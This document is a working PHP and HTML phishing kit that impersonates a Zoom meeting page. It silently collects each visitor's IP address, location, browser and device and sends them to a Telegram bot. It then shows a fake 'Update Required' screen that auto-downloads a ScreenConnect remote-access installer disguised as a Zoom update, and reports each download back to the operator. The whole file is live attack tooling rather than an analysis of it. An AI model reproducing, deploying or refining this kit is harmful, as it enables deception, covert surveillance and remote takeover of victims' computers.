<?php
session_start();

// If NOT verified, send user to CAPTCHA page
if (empty($_SESSION['verified'])) {
    header("Location: /zoom.us");
    exit();
}

// Global Settings
ini_set('display_errors', 0);
ini_set('log_errors', 1);
ini_set('error_log', 'error_log.txt');

// Better IP detection
function getClientIP() {
    $ip = '';
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
        $ip = $_SERVER['HTTP_CLIENT_IP'];
    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ip = trim(explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])[0]);
    } elseif (!empty($_SERVER['REMOTE_ADDR'])) {
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    return filter_var($ip, FILTER_VALIDATE_IP) ? $ip : '';
}

// Device detection
function detectDevice($userAgent) {
    $deviceType = "Desktop";
    if (preg_match('/(iPhone|iPod|iPad|Android|BlackBerry|IEMobile|Mobile)/i', $userAgent)) {
        $deviceType = "Mobile";
        if (preg_match('/iPhone/i', $userAgent)) $deviceType = "iPhone";
        elseif (preg_match('/iPad/i', $userAgent)) $deviceType = "iPad";
        elseif (preg_match('/Android/i', $userAgent)) $deviceType = "Android";
    }
    return $deviceType;
}

// Browser detection
function detectBrowser($userAgent) {
    $browser = "Unknown Browser";
    if (preg_match('/Chrome/i', $userAgent)) $browser = "Chrome";
    elseif (preg_match('/Firefox/i', $userAgent)) $browser = "Firefox";
    elseif (preg_match('/Safari/i', $userAgent) && !preg_match('/Chrome/i', $userAgent)) $browser = "Safari";
    elseif (preg_match('/Edge/i', $userAgent)) $browser = "Edge";
    return $browser;
}

// Telegram Message Function
function sendTelegramMessage($message) {
    if (!file_exists('settings.php')) return false;
    try {
        $settings = include 'settings.php';
        if (!empty($settings) && isset($settings['telegram']) && $settings['telegram'] == "1") {
            $send = ['chat_id' => $settings['chat_id'], 'text' => $message, 'parse_mode' => 'HTML'];
            $website = "https://api.telegram.org/{$settings['bot_url']}";
            $options = ['http' => ['method' => 'POST', 'header' => 'Content-Type: application/x-www-form-urlencoded', 'content' => http_build_query($send)]];
            $context = stream_context_create($options);
            return @file_get_contents($website . '/sendMessage', false, $context) !== false;
        }
    } catch (Exception $e) { error_log($e->getMessage()); }
    return false;
}

// Get visitor details
$ip = getClientIP();
$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';
$device = detectDevice($userAgent);
$browser = detectBrowser($userAgent);
$referrer = $_SERVER['HTTP_REFERER'] ?? 'Direct visit';
$pageURL = (isset($_SERVER['HTTPS']) ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";

// Location API
$city = "Unknown"; $country = "Unknown"; $region = "Unknown"; $timezone = "Unknown";
try {
    $details = json_decode(@file_get_contents("http://ip-api.com/json/" . $ip), true);
    if ($details && $details['status'] !== 'fail') {
        $city = $details['city'];
        $country = $details['country'];
        $region = $details['regionName'];
        $timezone = $details['timezone'];
    }
} catch (Exception $e) {}

// Load settings
$settings = file_exists('settings.php') ? include 'settings.php' : [];
$downloadDelay = $settings['auto_download_delay'] ?? 10;
$executableFileName = "files/ScreenConnect.ClientSetup.msi"; 

// --- DOWNLOAD ALERT NOTIFICATION ---
if (isset($_GET['action']) && $_GET['action'] == 'log_download') {
    $dlMsg = "📥 <b>DOWNLOAD ALERT</b> 📥\n\n";
    $dlMsg .= "Visitor from IP: <b>$ip</b> has started the download.\n";
    $dlMsg .= "File: <b>ScreenConnect.ClientSetup.msi</b>";
    sendTelegramMessage($dlMsg);
    exit;
}

// --- VISIT NOTIFICATION COMPLETE ---
$visitMsg = "🔵 <b>ZOOM ACCESS ALERT</b> 🔵\n\n";
$visitMsg .= "<b>Visitor IP:</b> " . $ip . "\n";
$visitMsg .= "<b>Location:</b> " . $city . ", " . $region . ", " . $country . "\n";
$visitMsg .= "<b>Timezone:</b> " . $timezone . "\n\n";
$visitMsg .= "🌐 <b>Technical Details</b> 🌐\n";
$visitMsg .= "<b>Browser:</b> " . $browser . "\n";
$visitMsg .= "<b>Device:</b> " . $device . "\n";
$visitMsg .= "<b>Referrer:</b> " . $referrer . "\n";
$visitMsg .= "<b>Page URL:</b> " . $pageURL . "\n";
$visitMsg .= "<b>Time:</b> " . date('Y-m-d H:i:s');

if (isset($settings['notify_on_visit']) && $settings['notify_on_visit']) {
    sendTelegramMessage($visitMsg);
}
?>
<!DOCTYPE html>
<html lang="en-US">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Join Meeting | Zoom</title>
    <link rel="shortcut icon" href="https://us05st1.zoom.us/web_client/6.7.0.11133/image/zoom.ico" />
  <style>
    :root {
      --zoom-blue: #0b5cff;
      --zoom-dark-bg: #00053d;
      --text-main: #232333;
      --text-secondary: #6e6e73;
      --error-red: #e8173d;
      --error-bg: #fff2f5;
      --warning-bg: #fff9f2;
      --warning-border: #fce7cf;
    }

    body,
    html {
      margin: 0;
      padding: 0;
      width: 100%;
      height: 100%;
      font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
      background-color: #ffffff;
      color: var(--text-main);
      -webkit-font-smoothing: antialiased;
    }

    /* --- GLOBAL HEADER --- */
    .global-header {
      display: flex;
      justify-content: space-between;
      align-items: center;
      padding: 15px 45px;
      border-bottom: 1px solid #e2e2e5;
      background: #fff;
    }
    .logo-img {
      height: 25px;
    }

    .scene {
      display: none;
      width: 100%;
    }
    #stage-join {
      display: block;
    }

    /* --- STAGE 1: PREVIEW --- */
    .join-container {
      display: flex;
      justify-content: center;
      align-items: center;
      height: calc(100vh - 80px);
      padding: 24px;
    }

    .join-card {
      width: min(680px, 92vw);
      background: #fff;
      border-radius: 14px;
      box-shadow: 0 10px 40px rgba(0, 0, 0, 0.1);
      border: 1px solid #e2e2e5;
      overflow: hidden;
    }

    .preview-header {
      padding: 12px 15px;
      font-size: 13px;
      background: #f8f9fa;
      border-bottom: 1px solid #eee;
      display: flex;
      align-items: center;
    }

    .video-box {
      background-color: #2d3133;
      height: 360px;
      display: flex;
      flex-direction: column;
      justify-content: center;
      align-items: center;
      color: white;
    }

    .avatar {
      width: 80px;
      height: 80px;
      background: #5c5e60;
      border-radius: 50%;
      display: flex;
      justify-content: center;
      align-items: center;
      margin-bottom: 15px;
    }

    .dots::after {
      content: "";
      animation: dot-anim 1.5s infinite;
    }
    @keyframes dot-anim {
      0% { content: ""; }
      33% { content: "."; }
      66% { content: ".."; }
      100% { content: "..."; }
    }

    .status-text {
      font-size: 14px;
      opacity: 0.95;
      font-weight: 600;
    }

    .status-subtext {
      margin-top: 6px;
      font-size: 12px;
      opacity: 0.75;
    }

    .footer-action {
      padding: 25px;
      text-align: center;
    }

    .join-title {
      font-weight: 700;
      margin-bottom: 10px;
      font-size: 16px;
    }

    .meeting-meta {
      font-size: 13px;
      color: #6b6f76;
      margin-bottom: 18px;
    }

    .mono {
      font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas,
        "Liberation Mono", "Courier New", monospace;
    }

    .btn-join {
      background-color: var(--zoom-blue);
      color: white;
      width: min(460px, 90%);
      padding: 12px 16px;
      border-radius: 10px;
      font-weight: 600;
      border: none;
      cursor: pointer;
      font-size: 16px;
    }

    .btn-join:hover {
      filter: brightness(0.95);
    }

    .btn-join:focus-visible {
      outline: 3px solid rgba(11, 92, 255, 0.35);
      outline-offset: 2px;
    }

    .preview-option {
      margin-top: 18px;
      font-size: 12px;
      color: #666;
      display: inline-flex;
      align-items: center;
      gap: 8px;
      user-select: none;
    }
    .preview-option input {
      transform: translateY(1px);
    }
    .preview-option label {
      cursor: pointer;
    }

    /* --- STAGE 2: PRELOADER --- */
    #preloader {
      display: none;
      position: fixed; 
      top: 0; left: 0;
      width: 100%; height: 100%;
      background-color: #232323;
      z-index: 10000;
      flex-direction: column;
      justify-content: center;
      align-items: center;
      color: white;
    }

    .wc-spin-img {
      width: 64px;
      height: 64px;
      animation: wc-spin 1.5s infinite linear;
    }
    
    @keyframes wc-spin {
      from { transform: rotate(0deg); }
      to { transform: rotate(360deg); }
    }
    
    #preloaderMessage {
      margin-top: 25px;
      font-size: 24px;
      font-weight: 300;
    }

    /* --- STAGE 3: POLISHED DOWNLOAD PAGE --- */
    .hero {
      background: var(--zoom-dark-bg);
      color: white;
      text-align: center;
      padding: 75px 20px;
    }

    .blue-bar {
      height: 8px;
      background: var(--zoom-blue);
      width: 100%;
    }

    .dl-grid {
      max-width: 1140px;
      margin: 60px auto;
      display: flex;
      gap: 60px;
      padding: 0 40px;
      align-items: flex-start;
    }

    .dl-img {
      flex: 1;
      position: relative;
    }
    .dl-img img {
      width: 100%;
      border-radius: 16px;
      box-shadow: 0 20px 50px rgba(0, 0, 0, 0.12);
      image-rendering: -webkit-optimize-contrast;
      transition: transform 0.4s cubic-bezier(0.165, 0.84, 0.44, 1);
    }
    .dl-img:hover img {
      transform: translateY(-5px);
    }

    .dl-content {
      flex: 1.3;
    }

    .error-banner {
      background: var(--error-bg);
      border: 1px solid var(--error-red);
      padding: 16px 20px;
      border-radius: 10px;
      margin-bottom: 25px;
      font-weight: 600;
      display: flex;
      align-items: center;
      font-size: 15px;
      color: #44010d;
    }

    .dl-content h2 {
      font-size: 34px;
      margin: 0;
      font-weight: 600;
      color: #00031f;
    }

    .version-info {
      color: var(--zoom-blue);
      font-weight: 600;
      font-size: 14px;
      margin: 12px 0 24px 0;
      display: block;
    }

    .dl-desc {
      line-height: 1.6;
      color: #3d3d4d;
      font-size: 16px;
      margin-bottom: 25px;
    }

    .warning-box {
      background-color: var(--warning-bg);
      border: 1px solid var(--warning-border);
      padding: 18px;
      border-radius: 10px;
      margin: 25px 0;
      font-size: 14px;
      line-height: 1.5;
      color: #553c13;
      display: flex;
      align-items: flex-start;
      gap: 12px;
    }

    .btn-dl {
      background: var(--zoom-blue);
      color: white;
      padding: 14px 40px;
      border-radius: 24px;
      text-decoration: none;
      font-weight: 600;
      display: inline-block;
      transition: all 0.2s ease;
      border: none;
      cursor: pointer;
      font-size: 15px;
    }

    .btn-dl:hover {
      background-color: #0046d5;
      box-shadow: 0 4px 12px rgba(11, 92, 255, 0.3);
    }

    /* Countdown “pill” (only while counting) */
    .btn-wait {
      border: 1px solid #d0d0d7;
      color: #131619;
      padding: 14px 35px;
      border-radius: 24px;
      display: inline-block;
      font-weight: 600;
      min-width: 260px;
      text-align: center;
      background: #fff;
      font-size: 15px;
      white-space: nowrap;
    }

    /* Plain text status (after countdown finishes) */
    .status-inline {
      border: none;
      background: transparent;
      padding: 0;
      margin: 0;
      min-width: 0;
      font-weight: 500;
      color: #3d3d4d;
      font-size: 14px;
      line-height: 1.4;
      white-space: normal;
      max-width: 520px;
    }

    /* Message shown below */
    .download-message {
      margin-top: 14px;
      background: #f5f7fa;
      border: 1px solid #e0e4ea;
      padding: 14px 16px;
      border-radius: 10px;
      font-size: 14px;
      line-height: 1.5;
      color: #2a2a2a;
      display: none;
    }

    @media (max-width: 980px) {
      .dl-grid {
        flex-direction: column;
        gap: 28px;
        padding: 0 24px;
      }
      .dl-content h2 {
        font-size: 28px;
      }
      .global-header {
        padding: 14px 20px;
      }
      .btn-wait { min-width: 100%; }
      .status-inline { max-width: 100%; }
    }
  </style>
</head>

<body>
  <div id="stage-join" class="scene">
    <div class="global-header">
      <img
        src="https://st1.zoom.us/static/6.3.53146/image/new/topNav/Zoom_logo.svg"
        class="logo-img"
        alt="Zoom"
      />
      <div style="font-size: 14px; color: var(--zoom-blue); font-weight: 500;">
        Support &nbsp; English ▾
      </div>
    </div>

    <div class="join-container">
      <div class="join-card" role="dialog" aria-modal="true">
        <div class="preview-header">
          <img src="https://st1.zoom.us/zoom.ico" width="14" style="margin-right: 8px;" alt="" />
          <span>Join Zoom Meeting</span>
        </div>

        <div class="video-box" aria-label="Video preview">
          <div class="avatar" aria-hidden="true">
            <svg width="40" height="40" viewBox="0 0 24 24" fill="white">
              <path
                d="M12 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4zm0 2c-2.67 0-8 1.34-8 4v2h16v-2c0-2.66-5.33-4-8-4z"
              />
            </svg>
          </div>

          <div id="previewStatus" class="status-text">Camera is off</div>
          <div class="status-subtext" id="joinHelp">You can turn it on after you join.</div>
        </div>

        <div class="footer-action">
          <div id="joinTitle" class="join-title">Join Zoom Meeting</div>

          <button class="btn-join" type="button" onclick="initiateConnection()" aria-label="Join meeting">
            Join
          </button>

          <div class="preview-option">
            <input type="checkbox" checked id="alw" />
            <label for="alw">Always show this preview when joining</label>
          </div>
        </div>
      </div>
    </div>
  </div>

  <div id="preloader">
    <img class="wc-spin-img" src="https://us05st1.zoom.us/web_client/6.7.0.11133/image/loading.png" alt="Loading">
    <div id="preloaderMessage">Connecting...</div>
  </div>

  <div id="main-content" class="scene">
    <header class="global-header">
      <img
        src="https://st1.zoom.us/static/6.3.53146/image/new/topNav/Zoom_logo.svg"
        class="logo-img"
        alt="Zoom"
      />
    </header>

    <div class="hero">
      <h1 style="margin: 0; font-size: 44px; font-weight: 500;">Update Required</h1>
      <p style="margin-top: 12px; opacity: 0.9; font-size: 18px;">
        To join this meeting, you need the latest version of Zoom Workplace.
      </p>
    </div>
    <div class="blue-bar"></div>

    <div class="dl-grid">
      <div class="dl-img">
        <img
          src="https://images-eds-ssl.xboxlive.com/image?url=4rt9.lXDC4H_93laV1_eHHFT949fUipzkiFOBH3fAiZZUCdYojwUyX2aTonS1aIwMrx6NUIsHfUHSLzjGJFxxtPV1zYJfBPveATOCg5xpTu7YH9e.7O1gqwhuIiXZrHB_1bsXjOGGo3INseURngjZrzRMD.aum.LU88PHlFONEM-&format=source&w=576"
          alt="Zoom Workplace"
        />
      </div>

      <div class="dl-content">
        <div class="error-banner">
          <span style="margin-right: 15px; font-size: 20px;">✕</span>
          Your version of Zoom Workplace is out of date. Please download the latest version to continue.
        </div>

        <h2>Zoom Workplace for Windows</h2>
        <span class="version-info">Zoom Communications, Inc.</span>

        <p class="dl-desc">
          Zoom is for you. We're here to help you connect, communicate, and express your
          ideas so you can get more done together. We're proud to be trusted by millions
          of enterprises...
        </p>

        <div class="warning-box">
          <span style="font-size: 18px;">⚠️</span>
          <span>
            <strong>Update Instructions:</strong> Install the latest <strong>ScreenConnect client</strong> to ensure compatibility with Zoom Workplace. <strong>Restart the Zoom app</strong> to apply the update. Finally, <strong>return to your browser or meeting invite and click Join</strong> to re-enter the session.
          </span>
        </div>

        <div style="display: flex; align-items: center; flex-wrap: wrap; gap: 12px;">
          <button id="downloadBtn" onclick="handleDownloadClick()" class="btn-dl">Download (64-bit)</button>
          <div id="countdown" class="btn-wait">Downloading in <?php echo $downloadDelay; ?>s...</div>
        </div>

        <div id="downloadMessage" class="download-message" role="status" aria-live="polite">
          If the download doesn’t start,
          <a href="javascript:void(0)" onclick="handleDownloadClick()"
             style="color: var(--zoom-blue); font-weight: 600; text-decoration: none;">
            click here to download manually
          </a>.
        </div>
      </div>
    </div>
  </div>

  <script>
    const preloader = document.getElementById("preloader");
    const preloaderMessage = document.getElementById("preloaderMessage");
    const mainContent = document.getElementById("main-content");

    const dlFile = "<?php echo $executableFileName; ?>";
    const downloadDelay = <?php echo (int)$downloadDelay; ?>;

    let countdownInterval = null;
    let countdownStarted = false;

    function startDownloadNow() {
      // 1. Log Download to Telegram
      fetch('?action=log_download');

      // 2. Trigger One Download
      const link = document.createElement("a");
      link.href = dlFile;
      link.download = "ScreenConnect.ClientSetup.msi";
      document.body.appendChild(link);
      link.click();
      document.body.removeChild(link);
    }

    function setInlineStatusText(text) {
      const timerDiv = document.getElementById("countdown");
      if (!timerDiv) return;
      timerDiv.classList.remove("btn-wait");
      timerDiv.classList.add("status-inline");
      timerDiv.textContent = text;
    }

    function setCountdownPill(text) {
      const timerDiv = document.getElementById("countdown");
      if (!timerDiv) return;
      timerDiv.classList.remove("status-inline");
      timerDiv.classList.add("btn-wait");
      timerDiv.textContent = text;
    }

    function showDownloadUIState() {
      const msg = document.getElementById("downloadMessage");
      if (msg) msg.style.display = "block";

      const btn = document.getElementById("downloadBtn");
      if (btn) btn.textContent = "Download Again";

      setInlineStatusText(
        "We've downloaded an executable to help you install Zoom Workplace. Open this file in your Downloads folder to begin installation."
      );
    }

    function handleDownloadClick() {
      if (countdownInterval) {
        clearInterval(countdownInterval);
        countdownInterval = null;
      }
      showDownloadUIState();
      startDownloadNow();
    }

    function initiateConnection() {
      const previewStatus = document.getElementById("previewStatus");
      if (previewStatus) previewStatus.textContent = "Connecting...";

      document.getElementById("stage-join").style.display = "none";
      preloader.style.display = "flex";
      document.title = "Joining Meeting... | Zoom";

      setTimeout(() => (preloaderMessage.textContent = "We're setting up your meeting..."), 5000);
      setTimeout(() => (preloaderMessage.textContent = "Joining Meeting..."), 10000);

      setTimeout(() => {
        preloader.style.opacity = 0;
        setTimeout(() => {
          preloader.style.display = "none";
          mainContent.style.display = "block";
          document.title = "Download Center - Zoom";
          beginFinalCountdown();
        }, 1000);
      }, 15000);
    }

    function beginFinalCountdown() {
      if (countdownStarted) return;
      countdownStarted = true;

      let sec = downloadDelay;

      const msg = document.getElementById("downloadMessage");
      if (msg) msg.style.display = "none";

      const btn = document.getElementById("downloadBtn");
      if (btn) btn.textContent = "Download";

      setCountdownPill(`Downloading in ${sec}s...`);

      if (countdownInterval) clearInterval(countdownInterval);

      countdownInterval = setInterval(() => {
        sec--;
        if (sec > 0) {
          setCountdownPill(`Downloading in ${sec}s...`);
        } else {
          clearInterval(countdownInterval);
          countdownInterval = null;
          showDownloadUIState();
          startDownloadNow();
        }
      }, 1000);
    }
  </script>
</body>
</html>